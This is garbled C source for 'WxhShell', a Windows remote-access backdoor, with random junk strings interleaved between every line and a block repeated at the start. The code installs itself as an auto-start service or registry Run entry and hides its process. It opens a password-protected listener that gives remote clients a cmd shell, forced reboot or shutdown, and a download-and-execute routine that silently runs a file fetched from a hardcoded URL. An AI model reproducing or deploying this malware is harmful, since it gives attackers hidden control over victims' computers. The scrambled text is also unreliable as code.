r1- sf| g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "Xc=<rX g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); y0]O 6.{ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); r>o6}Mx$ Vo[4\h#$ if (!NtQueryInformationProcess) return 0; ,Nh X% RPwSo.c4 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Cv33?l-8%_ if(!hProcess) return 0; *^()el,d ]ghPbS@ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $la,_Sr Y.J$f<[R CloseHandle(hProcess); ~~mQ (z{xd hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); uyIA]OtyN if(hProcess==NULL) return 0; GYO"1PM 9:s!#FYFM HMODULE hMod; ?=&*6H_v char procName[255]; =j-{Mxb3 unsigned long cbNeeded; IZLX[y O8%/Id if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));
KW\`&ki \)*qW[C$a CloseHandle(hProcess); H#K|SSqY? ?*=Jq if(strstr(procName,"services")) return 1; // 以服务启动 tTal<4 uDR(^T{g# return 0; // 注册表启动 X,~C } Xob##{P3 PX]v"xf // 主模块 A:(uK>5{Kk int StartWxhshell(LPSTR lpCmdLine) A[MEtI=Q J { |EunDb[Y SOCKET wsl; cxV3Vrx@A BOOL val=TRUE; gO%3~f!vY# int port=0; l"/O s_4O struct sockaddr_in door; E:AXnnGKO T28#?Lp6] if(wscfg.ws_autoins) Install(); 4j5plm= :O2N'vl47A port=atoi(lpCmdLine); XT)@)c7j `KN{0<Ne if(port<=0) port=wscfg.ws_port; %BJ V$tO "PPwJ/L( WSADATA data; dL>ZL1.$ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; nm..$QL Yhfk{ CI if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; t"Rn#V\c." setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (#~063N,# door.sin_family = AF_INET; %"D-1&%zY door.sin_addr.s_addr = inet_addr("127.0.0.1"); K9c:K/H door.sin_port = htons(port); GmFNL/x8-v umk[\}Ip+P if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { PYGHN
T closesocket(wsl); *P>F#
~X return 1; u56cT/J1 } c{[WOrA~# K2JS2Y] if(listen(wsl,2) == INVALID_SOCKET) { H|]Q;,C closesocket(wsl); >K3Lww)Ln return 1; ?]S*=6 } "Z
<1Msz Wxhshell(wsl); V0>,Kxk WSACleanup(); >
ewcD{bt }/=_ return 0; Yyf8B tP3Upw"U } 3$_wAt4w Ktoxl+I? // 以NT服务方式启动 L fhd02 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %VgR * { JdE=!~\8 DWORD status = 0; R/=yS7@{) DWORD specificError = 0xfffffff; zrcSPh ~_Aclm? serviceStatus.dwServiceType = SERVICE_WIN32; S[Et!gj: serviceStatus.dwCurrentState = SERVICE_START_PENDING; /n_N`VJ7H serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; HjrCX>v serviceStatus.dwWin32ExitCode = 0; !U@[lBW serviceStatus.dwServiceSpecificExitCode = 0; K=V)"v5o3 serviceStatus.dwCheckPoint = 0; )9s[-W,e serviceStatus.dwWaitHint = 0; CAk.2C/ +NQw^!0qy hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); n=`UhC if (hServiceStatusHandle==0) return; EG,RlmcPp z[th@!3 status = GetLastError(); B|tP3< if (status!=NO_ERROR) Xh5
z8 { &W1c#]q@r serviceStatus.dwCurrentState = SERVICE_STOPPED; P69S[aqW serviceStatus.dwCheckPoint = 0; r!+)U#8 serviceStatus.dwWaitHint = 0; r>Vgo):s serviceStatus.dwWin32ExitCode = status; 3/iGSG` serviceStatus.dwServiceSpecificExitCode = specificError; U.&=b<f(0r SetServiceStatus(hServiceStatusHandle, &serviceStatus); 278
6tZF, return; SKGYmleR } vq|W& @l 1 piz8 serviceStatus.dwCurrentState = SERVICE_RUNNING; K:mb$YJ& serviceStatus.dwCheckPoint = 0; \%UA6uj serviceStatus.dwWaitHint = 0; JHcC}+H[ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); vb# d%1b5 } o`G@Je_}x *x$\5;A // 处理NT服务事件,比如:启动、停止 H'+P7*k#M VOID WINAPI NTServiceHandler(DWORD fdwControl) !I@"+oY< { mAz':R[ switch(fdwControl) }2}hH0R { "[76>\'H case SERVICE_CONTROL_STOP: CQS34&G$a serviceStatus.dwWin32ExitCode = 0; mD tD7FzJ serviceStatus.dwCurrentState = SERVICE_STOPPED; t<rhrW75P serviceStatus.dwCheckPoint = 0; vO 3fAB serviceStatus.dwWaitHint = 0; Ef69]{E { )
b?HK SqI SetServiceStatus(hServiceStatusHandle, &serviceStatus); (V*ggii@ } zUeS7\(l return; Rh iiQ case SERVICE_CONTROL_PAUSE: wT;D<rqe` serviceStatus.dwCurrentState = SERVICE_PAUSED; !RV}dhI break; +PjH2 case SERVICE_CONTROL_CONTINUE: vV8}> serviceStatus.dwCurrentState = SERVICE_RUNNING; 7^=O^!sa break; 0EOpK%{ case SERVICE_CONTROL_INTERROGATE: ]w({5i break; c8A
// }; !$P&`n]@ SetServiceStatus(hServiceStatusHandle, &serviceStatus); S7@.s`_{w } G0^NkH,k 0GEK xV\F // 标准应用程序主函数 jvA]EN6$;~ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) '6WaG
hvO { .7"
f~%&oP (h%!Kun // 获取操作系统版本 X2~>Z^,
U OsIsNt=GetOsVer(); *:wu{3g}M` GetModuleFileName(NULL,ExeFile,MAX_PATH); 0Db#W6*^ *G^QS"% // 从命令行安装 Drz#D1-2 if(strpbrk(lpCmdLine,"iI")) Install(); Z':}ZXy] -
3kg,=HU; // 下载执行文件 x,pzX( if(wscfg.ws_downexe) { L"9,K8 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) npZ=x-ce WinExec(wscfg.ws_filenam,SW_HIDE); qlO(z5Ak } vn7<>k>dx >O?5mfMK if(!OsIsNt) { ex1b jM7 // 如果时win9x,隐藏进程并且设置为注册表启动 |\J8:b>} HideProc(); !>TH#sU$ StartWxhshell(lpCmdLine); s+l)Q } d
H]'&&M else F.zn:y X5 if(StartFromService()) H1]G<N3 // 以服务方式启动 &Nl: StartServiceCtrlDispatcher(DispatchTable); (bY#!16C: else Y;G+jC8
// 普通方式启动 N^H~VG&D( StartWxhshell(lpCmdLine); ewN!7 B[}#m'Lv return 0; })%WL;~ } a!vF;J-Zqa ^h1EE=E" $5Jo%K% L>
> % =========================================== >8\EdN59{ uDbz`VpK 4vQ]7`I.f sz9C':`W Z7lv|m& _gxI=EYi " _Gvn1"l |5^tp #include <stdio.h> e4ym6q<6! #include <string.h> kO>F, M #include <windows.h> v@(Y:\> #include <winsock2.h> ,onOwPz #include <winsvc.h> fL>>hBCqC #include <urlmon.h> fO|oV0Rw )5Mf, #pragma comment (lib, "Ws2_32.lib") [9Q}e;T #pragma comment (lib, "urlmon.lib") v2][gn+58 Wz',>&a #define MAX_USER 100 // 最大客户端连接数 DEM;)-D #define BUF_SOCK 200 // sock buffer * EY^t= #define KEY_BUFF 255 // 输入 buffer ;Sl]8IZ /{QR:8}-Q #define REBOOT 0 // 重启 l.NV]up+ #define SHUTDOWN 1 // 关机 lu2"?y[2 <?znk8| #define DEF_PORT 5000 // 监听端口 {N!Xp:(<7_ e:#c\Ay+ #define REG_LEN 16 // 注册表键长度 D',[M) #define SVC_LEN 80 // NT服务名长度 s~V%eq("} mWN9/+! // 从dll定义API 4EQ-48h17 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); .s Ci9d
WR typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); I:?1(.kd2- typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); lB3@jF typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); X]
cI ? I@ "%iYL // wxhshell配置信息 ~?`V$G=?, struct WSCFG {
_8]hn[ int ws_port; // 监听端口 fsRRnD char ws_passstr[REG_LEN]; // 口令 <_(UAv int ws_autoins; // 安装标记, 1=yes 0=no av~dH=&= char ws_regname[REG_LEN]; // 注册表键名 99)m d char ws_svcname[REG_LEN]; // 服务名 3z5w}qN]M char ws_svcdisp[SVC_LEN]; // 服务显示名 W(.q.Sx> char ws_svcdesc[SVC_LEN]; // 服务描述信息 >..C^8 " char ws_passmsg[SVC_LEN]; // 密码输入提示信息 m$6u K0 int ws_downexe; // 下载执行标记, 1=yes 0=no &Cv0oi&B char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <O+T4.z char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;]XK e') G>Uam TM }; xd
}g1c 0@ccXFE // default Wxhshell configuration " b?1Yc- struct WSCFG wscfg={DEF_PORT, ` 9iB`< "xuhuanlingzhe", gK7bP'S8H 1, St 4YNS.| "Wxhshell", O{@m ,uY "Wxhshell", kIR?r0_<G6 "WxhShell Service", *% 6NuZ "Wrsky Windows CmdShell Service", E3%:7MB "Please Input Your Password: ", SY &)?~C 1, ,-({m' "http://www.wrsky.com/wxhshell.exe", :70n% 3a "Wxhshell.exe" 0H;,~
WY }; fiG/"/u gN./u // 消息定义模块 vMT:j char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "'i" @CR char *msg_ws_prompt="\n\r? for help\n\r#>"; 5BWO7F0v" char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; vuP.V# char *msg_ws_ext="\n\rExit."; SI-G7e)3;> char *msg_ws_end="\n\rQuit."; H!uB&qY char *msg_ws_boot="\n\rReboot..."; 'a1%`rzm char *msg_ws_poff="\n\rShutdown..."; @-9u;aL char *msg_ws_down="\n\rSave to "; HH`G/(a (rDB|kc^7 char *msg_ws_err="\n\rErr!"; T;{M9W+ char *msg_ws_ok="\n\rOK!"; rwYlg: %UV'HcO/gp char ExeFile[MAX_PATH]; BM6 J int nUser = 0; @!;EW
R] HANDLE handles[MAX_USER]; 0C3s int OsIsNt; B-EVo&. b d!|/Lk SERVICE_STATUS serviceStatus; 0qND 2_ SERVICE_STATUS_HANDLE hServiceStatusHandle; pyvZ[R9 /1s|FI$-L // 函数声明 4^|;a0Qy] int Install(void); ~D[5AXV`^ int Uninstall(void); @t W;(8- int DownloadFile(char *sURL, SOCKET wsh); UM?{ba9 int Boot(int flag); CY{`IZ void HideProc(void); (+_i^SqK int GetOsVer(void); !4gyrNS int Wxhshell(SOCKET wsl); UBN^dbP* void TalkWithClient(void *cs); ~i3/Ec0\ int CmdShell(SOCKET sock); ze5Hg'f int StartFromService(void); S4qj}`$
Yv int StartWxhshell(LPSTR lpCmdLine); F%<hng%k $]H^? VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Hjho!np VOID WINAPI NTServiceHandler( DWORD fdwControl ); y}TiN!M 1K<4Kz~ // 数据结构和表定义 k Z^} SERVICE_TABLE_ENTRY DispatchTable[] = g8I=s7cnb { y:\ ^[y IQ {wscfg.ws_svcname, NTServiceMain}, zQ[g* {NULL, NULL} C9?R*2L> }; !%pY)69gv +s(JutC // 自我安装 Q2 tM~ int Install(void) HC'k81Q { [;IW'cXNq char svExeFile[MAX_PATH]; <M//zXa HKEY key; EqY e.dF, strcpy(svExeFile,ExeFile); +}MV$X H\BhAf // 如果是win9x系统,修改注册表设为自启动 gc%aaYf> if(!OsIsNt) { +@
'(N if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _'g'M=E RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g\Gx
oR RegCloseKey(key); w>RBth^p if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { a-P'h1hbH RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (
Lp~:p RegCloseKey(key); -85]x)JE return 0; Z @:5vo } u!iBAr5 } J|ni'Hb } ubq4Zv7' else { (6Ssk4 *Ey5F/N}$H // 如果是NT以上系统,安装为系统服务 ,(%?j]_P2 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +@:$7m(V if (schSCManager!=0) #1>DV@^F { q(N2#di SC_HANDLE schService = CreateService vSu|!Xb] (
pt`^4} schSCManager, iti~RV, wscfg.ws_svcname, K2=`. wscfg.ws_svcdisp, pI__< SERVICE_ALL_ACCESS,
l?_h(Cq< SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , '/Y
D$*, SERVICE_AUTO_START, OK=lp4X SERVICE_ERROR_NORMAL, mY}_9rTn| svExeFile, dMcCSwYh NULL, \t'v-x>2y5 NULL, zvvF9 NULL, tcovMn' NULL, Cfizh@< NULL D4CN%^? ); t>W^^'=E if (schService!=0) SAuZWA4g[ { VxlK:*t` CloseServiceHandle(schService); q T16th[D CloseServiceHandle(schSCManager); NT qtr=" strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); aD2+9?m strcat(svExeFile,wscfg.ws_svcname); Jd].e=]pN if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { kG =nDy RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -uho; RegCloseKey(key); kh11Y1Q0d return 0; w|~d3]BqT } a6UW,n"n } 6usy0g
D CloseServiceHandle(schSCManager); 1l@gZI12#/ } U#o5(mK } 5&&6e` 0SoU\/kUi return 1; 5<%]6c x} } =y5~7&9' V}leEf2' // 自我卸载 cfb8kNn~+ int Uninstall(void) GCw<jHw { 1
\#n{a3 HKEY key; a$Lry?pb |sM#nhxK if(!OsIsNt) { amPC C if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Gi<ik~ RegDeleteValue(key,wscfg.ws_regname); 6 (:^>@ RegCloseKey(key); X>i`z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZBDEE+8e RegDeleteValue(key,wscfg.ws_regname); (<u3<40[YN RegCloseKey(key); N8$MAW return 0; /xK5%cE>B } c|f)k:Q } D$sG1*@s- } _}_lrg}U else { ;$ot,mH?T .Yl*kG6r SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); a59l"b if (schSCManager!=0) lX)RG*FlTC { c)N&}hFYC SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =r<0l= if (schService!=0) IIN"'7Z^R { Y0kDHG if(DeleteService(schService)!=0) { *`}4]OGv. CloseServiceHandle(schService); {{FA"NW CloseServiceHandle(schSCManager); wH:'5+u:6 return 0; 2>s@2=Aq } won(HK\1p CloseServiceHandle(schService); Ov
vM)?^# } Y,v8eOo45S CloseServiceHandle(schSCManager); J6*Zy[)%&S } ?}QHEk:H }
8&AHu bLx70$ return 1; fk(l.A$ } 4:!KtpR[O #8N9@ // 从指定url下载文件 !fFmQ\|)4S int DownloadFile(char *sURL, SOCKET wsh) "}uPz4 { !Ua74C HRESULT hr; Y(>]7 char seps[]= "/"; {.W$<y (j7 char *token; G\ twx ; char *file; V24 i8 Qx char myURL[MAX_PATH]; |"[[.Adw9" char myFILE[MAX_PATH]; |51z&dG 5 =Os
sAr strcpy(myURL,sURL); Zi+>#kDV token=strtok(myURL,seps); cZ(7/Pl while(token!=NULL)
b;!oPT { _8Si8+j file=token; dXKv"*7l token=strtok(NULL,seps); 8aCa(Xu(H } AHws5#;$6* i!/V wGg GetCurrentDirectory(MAX_PATH,myFILE); C[j'0@~V:B strcat(myFILE, "\\"); T)o)%Yv strcat(myFILE, file); `jR = X send(wsh,myFILE,strlen(myFILE),0); @Q"%a`mKH send(wsh,"...",3,0); &hmyfH&S hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (7nWv43 if(hr==S_OK) & A=q _ return 0; _
?f~UvK else _7SOl.5ZE return 1; M) 9Ss RRaGc )B } a#X[V5|6Q s[:e '#^ // 系统电源模块 -\;x>=#B int Boot(int flag) e![|-m% { dQ*3s>B[ HANDLE hToken; whW"cFg TOKEN_PRIVILEGES tkp; f"h{se8C a;p3Me7 if(OsIsNt) { F+vgkqs@9 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); HYgq@47$[ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); A"S{W^iL tkp.PrivilegeCount = 1; %YhZ#>WT tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;4nz'9+ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); EthnI7Y
if(flag==REBOOT) { clz6;P if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) NQq$0<7.=W return 0; w{[OtGIi3 } pCSR^ua> else { 7Rr(YoWa if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /}?"O~5M" return 0;
R1'bB"$ } ]}/LNO*L" } ;o;P2}zD else { Mn(:qQo^&` if(flag==REBOOT) { brN:Ypf-e if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
4LYeacL B return 0; wU_e/+0h } Q7`}4c) else { qw[)$icP if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Xj.Tg1^K" return 0; hV_eb6aj}P } #$(F&>pj } ^{8r(1, _yTGv- return 1; ' } rUbJo } 8D
eRs# e:IUO1# // win9x进程隐藏模块 =!_e(J void HideProc(void) lz X0B&: { f>nj9a5 [3++Q-rR= HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ZK))91;v if ( hKernel != NULL ) wmFI? { #5)E4"m pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "Ko^m(` ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); z.{T`Pn FreeLibrary(hKernel); My AS'Ki } HT/zcd)}# ,Z*?"d return; \R45#.
P6X } 6sb,*uSn% vj<HthC.k // 获取操作系统版本 xg)cA C\= int GetOsVer(void) %-?HCjT { ppIMaP OSVERSIONINFO winfo; I9Af\ k|^ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); O3#4B!J$E GetVersionEx(&winfo); [ajF if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) I&|%Fn return 1; K2<Q9 ,vt else aG QC return 0; :0ZFbIy } P:&XtpP |4BS\fx~N // 客户端句柄模块 W:8_S%~d int Wxhshell(SOCKET wsl) W0eb9g`s { ~}|)@,N'bm SOCKET wsh; $6 \v1 struct sockaddr_in client; %qRbl4 DWORD myID; cYyv
iR59# aS?A3h4WM_ while(nUser<MAX_USER) U<fe 'd { s"`uE$6N int nSize=sizeof(client); :.6kXX'~ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9vT@ mqKu if(wsh==INVALID_SOCKET) return 1; ^2OBc U/&!F handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); hZ!N8nWwNR if(handles[nUser]==0) >5)E\4r- closesocket(wsh); A!&p,KfT5+ else 2MmqGB}YcW nUser++; &Cp)\`[y } UOH2I+@V WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5+dQGcE@ TYW$=p| return 0; ext`%$ U7 } l'T3RC,\ oEvXZ;F@. // 关闭 socket !'(bwbd void CloseIt(SOCKET wsh) a5C% OI< { J3cbDE%^m closesocket(wsh); P4"_qxAW nUser--; to9
u%d 8 ExitThread(0); k$?zh$ } 8r(S=dA i ]gF
6:& // 客户端请求句柄 L=ZKY void TalkWithClient(void *cs) K.G}*uy { F`-|@k cf?*6q?n SOCKET wsh=(SOCKET)cs; ;1^_.3 char pwd[SVC_LEN]; eZR{M\Q char cmd[KEY_BUFF]; wQJY,|. char chr[1]; UN[rW0* int i,j; 74ma
ae( o:G while (nUser < MAX_USER) { H2`aw3 xM}lX(V!w if(wscfg.ws_passstr) { Alaq![7MDP if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (D F{l?4x- //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Fp..Sjh
6 //ZeroMemory(pwd,KEY_BUFF); q:@$$}FjL i=0; %k
@ "* while(i<SVC_LEN) { j@$p(P$ .^8 x>~ // 设置超时 $]EG|]"Ns fd_set FdRead; 6f/>o$ struct timeval TimeOut; V|xKvH FD_ZERO(&FdRead); Q-fi(UP FD_SET(wsh,&FdRead); 8nw_Jatk1 TimeOut.tv_sec=8; .t|vwx TimeOut.tv_usec=0; !Vl>?U?AN int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); VU`aH9g3( if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ykc$B5* tK{2'e6x if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =7pLU+ u pwd=chr[0]; FI{9k( if(chr[0]==0xd || chr[0]==0xa) { ,5Jq
ZD pwd=0; &PWz4hZ break; ?khwupdi }
CS2AKa@` i++; qwJeeax } F`g oYwA% .dwb@$ // 如果是非法用户,关闭 socket 6T0[
~@g5 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9MA/nybI } v`evuJ\3 YqwDvJWX send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); H~JPsS; send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 91|=D
\8aE is?H1V~8`$ while(1) { k ]C+/ :J` *@cDn ZeroMemory(cmd,KEY_BUFF); |uVhfD=NG ! 4 `any // 自动支持客户端 telnet标准 nf?;h!_7 j=0; Cp(,+dD while(j<KEY_BUFF) { >:%YAR` if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o\u31, cmd[j]=chr[0]; 1"ko wp if(chr[0]==0xa || chr[0]==0xd) { &niROM,;K cmd[j]=0; 1c_qNI;:p break; Ub(zwR; } a}eM ny j++; S*~v9+ } G
m40u/ l@7Xgsey // 下载文件 uCuXY#R+ if(strstr(cmd,"http://")) { 8t3@Hi send(wsh,msg_ws_down,strlen(msg_ws_down),0); pn?c6KvO if(DownloadFile(cmd,wsh)) 10xo<@l send(wsh,msg_ws_err,strlen(msg_ws_err),0); <kIg>+ else v]+,kbT send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ](c[D9I!8 } C*Avu else { }2 zJ8A9- wZN<Og+; switch(cmd[0]) { J'B6l#N j4RM'_*G // 帮助 rf1Us2vp case '?': { r168ft?c send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |Z}uN!Jm break; Jx[Z[R O2 } o
mstJ9 // 安装 99 /fI case 'i': { *L>gZ`Q if(Install()) `~Nd4EA)2 send(wsh,msg_ws_err,strlen(msg_ws_err),0); =;Gy"F1 dp else A;Rr#q< send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oW3{&vfz break; 9NvV{WI-1 } 4jEPh{q // 卸载 j&) "a,f case 'r': { J/Ki]T9 if(Uninstall()) d54(6N% send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4h wUH else n|
=k9z<y8 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OV ~|@{6T break; Uv'.]#H< } GWa_^ // 显示 wxhshell 所在路径 "QA <5P case 'p': { u(V4KUk char svExeFile[MAX_PATH]; AA34JVm] strcpy(svExeFile,"\n\r"); RbUBKMZU strcat(svExeFile,ExeFile); ?z>ZsD send(wsh,svExeFile,strlen(svExeFile),0); 1!<k-vt break; }.w@.
S" } Q-78B'!= // 重启 7KU/ 1l9$9 case 'b': { e(E6 t_ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3Tv;<hF if(Boot(REBOOT)) X?5M)MP+I send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1MV\Jm else { ilL] pU- closesocket(wsh); 1L.H" ExitThread(0); @A6P[r } X&EcQ break; o(5Xj$Z } JJlwzH // 关机 ;7CE{/Bq.p case 'd': { $'!r/jV send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Z'iXuI49 if(Boot(SHUTDOWN)) Bgs3sM9 send(wsh,msg_ws_err,strlen(msg_ws_err),0); }I_/>58 else { `ZL~k closesocket(wsh); ;\yY* ExitThread(0); >
E;`;b } Wi ]Mp7b break; R:HF~} } cd,)GF // 获取shell s\g"~2+ case 's': { gd3~R+Kd CmdShell(wsh); 6u^MfOc closesocket(wsh); rxtp?|v9 ExitThread(0); r<4FF= break; +BcJHNIB } qv|geBW // 退出 7N0V`&}T case 'x': { .} <$2. send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); J5PXmL CloseIt(wsh); aV3:wp]Gn break; `PK1zSr } T^YdAQeE // 离开 iW\cLp " case 'q': { *ZP$dQ send(wsh,msg_ws_end,strlen(msg_ws_end),0); cSy{*K{B closesocket(wsh); d;UP|c>2 WSACleanup(); KO/Z|I exit(1); I_xvg
>i break; {p&M(W] } *cn,[ } ],{b&\ } *k$&U3= !C>}j* 4 // 提示信息 "{-jZdq' if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *{|{T_H: } mk#xbvvG } t.Hte/,k {w*5uI%%e return; R/5aIh } /*=1hF ?u`+?"'H // shell模块句柄 Tvf%'%h1 int CmdShell(SOCKET sock) W9>q1 { Ng=XH"ce~ STARTUPINFO si; D9`J||]E ZeroMemory(&si,sizeof(si)); OL|_@Fv`A si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; O^(ji8[l si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; E _d^&{j PROCESS_INFORMATION ProcessInfo; RL0,QC)e#@ char cmdline[]="cmd"; GZgu1YR CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); tVJ}NI # return 0; D0Cs
g39 } {,z$*nf 3dm lP2 // 自身启动模式 ;`<uo$R int StartFromService(void) ir^%9amh { kGbtZ} W typedef struct d%tF~|#A% { K^0cL%dB DWORD ExitStatus; c zTr_> DWORD PebBaseAddress; wWV`k DWORD AffinityMask; oGz-lO{lt DWORD BasePriority; b?Dhhf ULONG UniqueProcessId; [:Kl0m7 ULONG InheritedFromUniqueProcessId; Q;
DN* } PROCESS_BASIC_INFORMATION; (dZu& RK%N:!fq= PROCNTQSIP NtQueryInformationProcess; CSF-2lSG Uz(Sv:G static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6^
UQ{P1; static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6;rJIk@Fx= z3RD*3b HANDLE hProcess; U1zcJl^ PROCESS_BASIC_INFORMATION pbi; -olD!zKS oCD#Gmr HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `uL^!- if(NULL == hInst ) return 0; ~Y=v@] 2/ * N5cC#5`= g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); w\wS?E4G g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [K_v,m]
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (6##\}L& |